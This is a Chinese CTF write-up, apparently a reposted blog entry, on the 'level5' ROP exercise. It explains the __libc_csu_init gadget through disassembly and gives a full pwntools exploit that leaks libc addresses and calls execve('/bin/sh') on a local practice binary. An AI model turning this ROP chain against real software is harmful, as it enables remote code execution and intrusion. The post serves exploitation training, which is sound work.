我是靠谱客的博主 丰富毛衣,最近开发中收集的这篇文章主要介绍一步一步学 ROP 之 linux_x64 篇-level5原理题目解题思路exp运行结果总结吐槽,觉得挺不错的,现在分享给大家,希望可以做个参考。

概述

这道题是来自蒸米的一步一步学ROP之linux_x64篇中的level5,主要考察的是中级ROP中的__libc_csu_init。

原理

__libc_csu_init这个函数是用来对libc进行初始化操作的,一般的程序都会调用libc函数,所以一般都会有这个函数。

.text:00000000004005C0 ; void _libc_csu_init(void)
.text:00000000004005C0                 public __libc_csu_init
.text:00000000004005C0 __libc_csu_init proc near               ; DATA XREF: _start+16↑o
.text:00000000004005C0 ; __unwind {
.text:00000000004005C0                 push    r15
.text:00000000004005C2                 push    r14
.text:00000000004005C4                 mov     r15d, edi
.text:00000000004005C7                 push    r13
.text:00000000004005C9                 push    r12
.text:00000000004005CB                 lea     r12, __frame_dummy_init_array_entry
.text:00000000004005D2                 push    rbp
.text:00000000004005D3                 lea     rbp, __do_global_dtors_aux_fini_array_entry
.text:00000000004005DA                 push    rbx
.text:00000000004005DB ; 6:   v3 = a3;
.text:00000000004005DB                 mov     r14, rsi
.text:00000000004005DE                 mov     r13, rdx
.text:00000000004005E1                 sub     rbp, r12
.text:00000000004005E4                 sub     rsp, 8
.text:00000000004005E8 ; 7:   v4 = &_do_global_dtors_aux_fini_array_entry - _frame_dummy_init_array_entry;
.text:00000000004005E8                 sar     rbp, 3
.text:00000000004005EC ; 8:   init_proc();
.text:00000000004005EC                 call    _init_proc
.text:00000000004005F1 ; 9:   if ( v4 )
.text:00000000004005F1                 test    rbp, rbp
.text:00000000004005F4                 jz      short loc_400616
.text:00000000004005F6 ; 11:     v5 = 0LL;
.text:00000000004005F6                 xor     ebx, ebx
.text:00000000004005F8                 nop     dword ptr [rax+rax+00000000h]
.text:0000000000400600 ; 13:       ((void (__fastcall *)(_QWORD, __int64, __int64))_frame_dummy_init_array_entry[v5++])(a1, a2, v3);
.text:0000000000400600
.text:0000000000400600 loc_400600:                             ; CODE XREF: __libc_csu_init+54↓j
.text:0000000000400600                 mov     rdx, r13
.text:0000000000400603                 mov     rsi, r14
.text:0000000000400606                 mov     edi, r15d
.text:0000000000400609                 call    qword ptr [r12+rbx*8]
.text:000000000040060D ; 14:     while ( v5 != v4 );
.text:000000000040060D                 add     rbx, 1
.text:0000000000400611                 cmp     rbx, rbp
.text:0000000000400614                 jnz     short loc_400600
.text:0000000000400616
.text:0000000000400616 loc_400616:                             ; CODE XREF: __libc_csu_init+34↑j
.text:0000000000400616                 add     rsp, 8
.text:000000000040061A                 pop     rbx
.text:000000000040061B                 pop     rbp
.text:000000000040061C                 pop     r12
.text:000000000040061E                 pop     r13
.text:0000000000400620                 pop     r14
.text:0000000000400622                 pop     r15
.text:0000000000400624                 retn
.text:0000000000400624 ; } // starts at 4005C0
.text:0000000000400624 __libc_csu_init endp

注意400616位置,是分别对rbx,rbp,r12,r13,r14,r15进行赋值;在400600位置,是将r13,r14,r15d的值分别赋给rdx,rsi,edi然后访问[r12+rbx*8]。那么通过这个函数我们就可以控制这些寄存器的值并且调用我们想要调用的地址(具体原理略)。

题目

在这里插入图片描述
在这里插入图片描述在这里插入图片描述
简单浏览一下程序,有一个栈溢出可以利用,没有system函数也没有/bin/sh,那么下面尝试一下利用__libc_csu_init这个万能gadgets来解题。

解题思路

(1)利用栈溢出执行 libc_csu_gadgets 获取 write 函数的真实地址(其他函数的真实地址也可以),并使得程序重新执行 main 函数
(2)根据 libcsearcher 获取对应 libc 版本以及 execve 函数地址,一般来说题目会直接给出对应的.so文件,但是这里就直接用libcsearcher获取,通过第一步得到的真实地址计算出对应的偏移量获得其他函数的真实地址
(3)再次利用栈溢出执行 libc_csu_gadgets 向 bss 段写入 execve 地址以及 ‘/bin/sh’ 地址,并使得程序重新执行 main 函数
(4)再次利用栈溢出执行 libc_csu_gadgets 执行 execve(’/bin/sh’) 获取 shell

exp

from pwn import *
from LibcSearcher import LibcSearcher

context.log_level = 'debug'

elf = ELF('./level5')
p = process('./level5')

write_got = elf.got['write']
read_got = elf.got['read']
main_addr = elf.symbols['main']
bss_base = elf.bss()
csu_front_addr = 0x0000000000400600
csu_end_addr = 0x000000000040061A
fakeebp = 'b' * 8

def csu(rbx, rbp, r12, r13, r14, r15, last):
	payload = 'a' * 0x80 + fakeebp
	payload += p64(csu_end_addr) + p64(rbx) + p64(rbp) + p64(r12) + p64(r13) + p64(r14) + p64(r15)
	payload += p64(csu_front_addr)
	payload += 'a' * 0x38
	payload += p64(last)
	p.send(payload)
	sleep(1)

#利用栈溢出执行libc_csu_gadgets获取write函数地址
p.recvuntil('Hello, Worldn')
csu(0,1,write_got,8,write_got,1,main_addr)

#根据 libcsearcher 获取对应 libc 版本以及 execve 函数地址
write_addr = u64(p.recv(8))
libc = LibcSearcher('write',write_addr)
libc_base = write_addr - libc.dump('write')
execve_addr = libc_base + libc.dump('execve')
log.success('execve_addr' + hex(execve_addr))

#再次利用向 bss 段写入 execve 地址以及 '/bin/sh’ 地址
p.recvuntil('Hello, Worldn')
csu(0,1,read_got,16,bss_base,0,main_addr)
p.send(p64(execve_addr) + '/bin/shx00')

#再次利用执行 execve('/bin/sh') 获取 shell
p.recvuntil('Hello, Worldn')
csu(0,1,bss_base,0,0,bss_base + 8,main_addr)
p.interactive()

运行结果

在这里插入图片描述

总结

这道题目其实在wiki上面有更加详细的教程,我也是依葫芦画瓢写的脚本。
这道题主要考察的知识点就是__libc_csu_init函数gadgets的利用,需要认真看一下对应的汇编代码,并且搞清楚csu的每个参数应该放入的内容即可。除此之外关于这个函数还有很多更加深入的利用方法,这些以后做了题目再说。

吐槽

这道题一开始的时候exp无论怎么跑都跑不动,好像是libcsearcher出现了问题,后面就是不断的删掉libcsearcher然后重装。但是不知道是网络的原因还是GitHub的问题,总是无法下载成功后面只好放弃。等我重新把回收站里的libcsearcher找回来的时候发现exp又跑得动了……
面对这等玄学问题,我还能说什么呢?
不过我相信所有的玄学问题总有一个科学的解释,出现这个问题可能是我当时下载的时候注册表损坏了,后面一通重新下载又吧注册表搞好了(纯属猜测)。所以我决定以后要兼顾学一些基础一点的东西了,可能要从《深入理解计算机系统》和《汇编语言》开始学吧。未来也可能会写几篇关于学习这两本书的博客,具体看学的情况如何。

晚安~

最后

以上就是丰富毛衣为你收集整理的一步一步学 ROP 之 linux_x64 篇-level5原理题目解题思路exp运行结果总结吐槽的全部内容,希望文章能够帮你解决一步一步学 ROP 之 linux_x64 篇-level5原理题目解题思路exp运行结果总结吐槽所遇到的程序开发问题。

如果觉得靠谱客网站的内容还不错,欢迎将靠谱客网站推荐给程序员好友。

本图文内容来源于网友提供,作为学习参考使用,或来自网络收集整理,版权属于原作者所有。
点赞(32)

评论列表共有 0 条评论

立即
投稿
返回
顶部